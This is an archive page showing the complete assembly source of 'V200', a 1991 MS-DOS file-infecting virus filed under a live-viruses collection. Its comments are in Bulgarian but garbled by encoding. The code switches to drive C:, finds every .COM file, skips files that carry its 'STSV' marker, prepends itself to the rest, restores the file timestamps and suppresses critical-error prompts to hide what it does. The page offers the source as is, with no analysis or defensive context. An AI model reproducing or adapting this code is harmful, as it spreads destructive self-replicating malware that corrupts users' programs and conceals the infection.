home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
v200.asm
< prev
next >
Wrap
Assembly Source File
|
1991-04-14
|
7KB
|
178 lines
;------------------------------------------------------------------------------;
; ;
; é¿░│▒ V200 ;
; ;
; V200 Ñ »á░ế▓Ñ¡ ó¿░│▒, ñÑ⌐▒▓ó¿Ñ▓« ¼│ ▒Ñ ▒║▒▓«⌐ ó ▒½Ññ¡«▓« - »░¿ ▒▓á░▓¿░á¡Ñ;
; ¡á ºá░áºÑ¡ ┤á⌐½ ó¿░│▒║▓ »░Ñ▓║░▒óá ╢┐½á▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐ ¿ ºá░áº┐óá ó▒¿╖¬¿ ;
; COM - ┤á⌐½«óÑ,ó ▒½│╖á⌐,╖Ñ ó ▒¿▒▓Ѽá▓á ¿¼á │▒▓░«⌐▒▓ó« C: ▓Ѻ¿ ñÑ⌐▒▓ó¿┐ ▒Ñ ;
; ¿º»║½¡┐óá▓ ó ¡Ñú«óá▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐. ;
; V200 ▒Ñ ¡á▒▓á¡┐óá »░Ññ¿ ¬«ñá ¡á ºá░áºÑ¡¿┐ ┤á⌐½, ó¿░│▒║▓ «░úá¡¿º¿░á ;
; ▒«í▒▓óÑ¡á »░«╢Ññ│░á ºá «í░áí«▓¬á ¡á ¬░¿▓¿╖¡¿ ú░Ñ╕¬¿ (óѬ▓«░ 24h) ¿ ¡Ñ »░«¼Ñ¡┐;
; ñá▓á▓á ¿ ╖á▒á ¡á ºá░┐ºá¡¿▓Ñ ┤á⌐½«óÑ. ;
; ;
;------------------------------------------------------------------------------;
.model Tiny
.code
VirLen = 200
NewId = offset Mark - 100h
;-----------------------------------------------------------------------------;
ORG 0D0h
INT24 dw ? ; Æ│¬ ╣Ñ í║ñÑ ¡á▒«╖Ñ¡ óѬ▓«░ 24h.
INT24a db ?
NewDTA db 15h dup (?) ; æ▓░│¬▓│░á ¡á DTA.
FAttr db ?
FTime dw ?
FDate dw ?
FLen dw ?, ?
FName db 0Dh dup (?)
;-----------------------------------------------------------------------------;
ORG 100h
Start:
push ax
mov INT24,3B0h ; ì«ó óѬ▓«░ 24h : mov al,03
mov INT24a,0CFh ; iret
mov ax,2524h
mov dx,offset INT24
int 21h ; Å░Ñ¡á▒«╖óá óѬ▓«░á 24h.
mov ah,19h
int 21h ; ê▒¬á «▓ äÄæ ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó«.
push ax ; çá»áºóá ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó«.
mov ah,0Eh
mov dl,02h
int 21h ; æ¼Ñ¡┐ ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó« ¡á C:
mov ax,cs
add ah,10h
mov es,ax ; ES = CS + 64KBytes
mov si,offset Start
xor di,di
mov cx,VirLen ; Å░Ñ╡ó║░½┐ ¬«ñá ¡á ó¿░│▒á 64KBytes
rep movsb ; »«-¡áú«░Ñ ó »á¼Ñ▓▓á.
mov dx,offset NewDTA ; Å«▒▓áó┐ DTA ¡á ¡«ó áñ░Ñ▒.
mov ah,1Ah
int 21h
;...... çừ╖óá ▓║░▒Ñ¡Ñ ¡á ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
mov dx, offset AllCom ; Æ║░▒¿ ó▒¿╖¬¿ '*.COM' ┤á⌐½«óÑ.
mov cl,110B
mov ah,4Eh ; êºó¿¬óá Find First.
int 21h
jc Done ; Å░«ñ║½ªáóá ¡á▓á▓║¬ »░¿ ½¿»▒á ¡á
; ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
FindNext:
mov dx,offset Fname ; é dx áñ░Ñ▒á ¡á ¿¼Ñ▓« ¡á ┤á⌐½á «▓ DTA.
mov ax,3D02h ; Ä▓óá░┐ ┤á⌐½á ºá ºá»¿▒/╖Ñ▓Ñ¡Ñ.
int 21h
mov bx,ax ; çá»áºóá ¡«¼Ñ░á ¡á «▓ó«░Ñ¡¿┐ ┤á⌐½.
push ds ; çá»áºóá DS.
push es
pop ds ; Å░«╖¿▓á ▒Ñ ╢ѽ¿┐ ┤á⌐½ ¡á áñ░Ñ▒á-DS:DX
mov dx,VirLen ; DS = CS + 64KBytes
mov cx,0FFFFh ; DX = ñ║½ª¿¡á▓á ¡á ó¿░│▒á
mov ah,3Fh ; Æá¼ ▒Ñ ¡á¼¿░á ó¿░│▒á,á ▒Ñúá ▒½Ññ ¡Ñú«
int 21h ; ¿ ┤á⌐½║▓.
add ax,VirLen ; ôóѽ¿╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á(AX) ▒
mov si,ax ; ñ║½ª¿¡á▓á ¡á ó¿░│▒á ¿ ┐ ºá»áºóá ó SI.
cmp Word ptr ds:[NewId+VirLen],'TS' ; ä὿ ┤á⌐½║▓ Ñ ºá░áºÑ¡ óÑ╖Ñ ?
je Close
xor cx,cx
xor dx,dx
mov ax,4200h ; Å░ѼÑ▒▓óá ▒Ñ │¬áºá▓ѽ┐ ¡á ┤á⌐½á ó
int 21h ; ¡á╖Ὣ▓« ¼│.
mov cx,si
mov ah,40h ; Ä▓ áñ░Ñ▒á DS:DX ▒Ñ ºá»¿▒óá ¡á ñ¿▒¬á
int 21h ; ó¿░│▒ + ┤á⌐½
mov cx,cs:FTime
mov dx,cs:FDate
mov ax,5701h ; é║º▒▓á¡«ó┐óá▓ ▒Ñ ñá▓á▓á ¿ ó░ѼÑ▓« ¡á
int 21h ; ºá░áº┐óá¡¿┐ ┤á⌐½ «▓ DTA.
Close:
pop ds ; é║º▒▓á¡«ó┐óá DS.
mov ah,3Eh ; çá▓óá░┐ ┤á⌐½á.
int 21h
mov ah,4Fh
int 21h ; êºó¿¬óá Find Next,
jnc FindNext ; ᬫ ¿¼á «╣Ñ ┤á⌐½«óÑ ó▒¿╖¬« ▒Ñ »«ó▓á░┐
; ¿ ºá ▓┐╡.
Done:
mov dx,80h
mov ah,1Ah
int 21h ; é║º▒▓á¡«ó┐óá ▒Ñ ▒▓á░¿┐ áñ░Ñ▒ ¡á DTA.
pop dx
mov ah,0Eh
int 21h ; é║º▒▓á¡«ó┐óá ▒Ñ ▓Ѭ│╣¿┐ ºáóá░Ñ¡ ñ¿▒¬.
;....... ìá╖Ὣ ¡á ▒▓á░▓¿░á¡Ñ ¡á »░«ú░á¼á▓á ¬║¼ ¬«┐▓« Ñ ºá¬á╖Ñ¡ ó¿░│▒á.
mov si,offset TransF
mov cx,offset EndCode - offset Transf
xor di,di ; è«»¿░á 64KBytes »«-¡áú«░Ñ Ññ¡á
rep movsb ; ▒»«¼áúá▓ѽ¡á ╖á▒▓, ¿º»«½ºóá¡ »«-ñ«½│.
pop bx ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX ó BX.
push es
push cx
RETF ; Ä▓¿óá ¡á áñ░Ñ▒ ES:00
;.......................................
; îá░¬¿░«ó¬á ºá ░ẻ«º¡áóá¡Ñ ¡á ºá░áºÑ¡¿
Mark DB 'STSV' ; ┤á⌐½«óÑ.
AllCom db '*.COM',0 ; îá▒¬á ºá ▓║░▒Ñ¡Ñ ¡á ó▒¿╖¬¿ ┤á⌐½«óÑ
;.......................................; ºá ºá░áº┐óá¡Ñ.
TRansF:
push ds
pop es
mov si,offset EndCode
mov di,offset Start
dec cx
sub cx,si ; æ¼║¬óá ¬«ñá ¡á »░«ú░á¼á▓á ºá»«╖óá╣
rep movsb ; ¡Ñ»«▒░Ññ▒▓óÑ¡« ▒½Ññ ó¿░│▒á ▒ 100h íá⌐▓á
; ¡áñ«½│.
push ds
mov ax,100h
push ax
mov ax,bx ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
RETF ; Å░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á »░«ú░á¼á▓á
; ¡á áñ░Ñ▒ DS:100h.
;-----------------------------------------------------------------------------;
EndCode:
int 20h ; Ä▓ ▓│¬ ºá»«╖óá ºá░áºÑ¡á▓á »░«ú░á¼á
End Start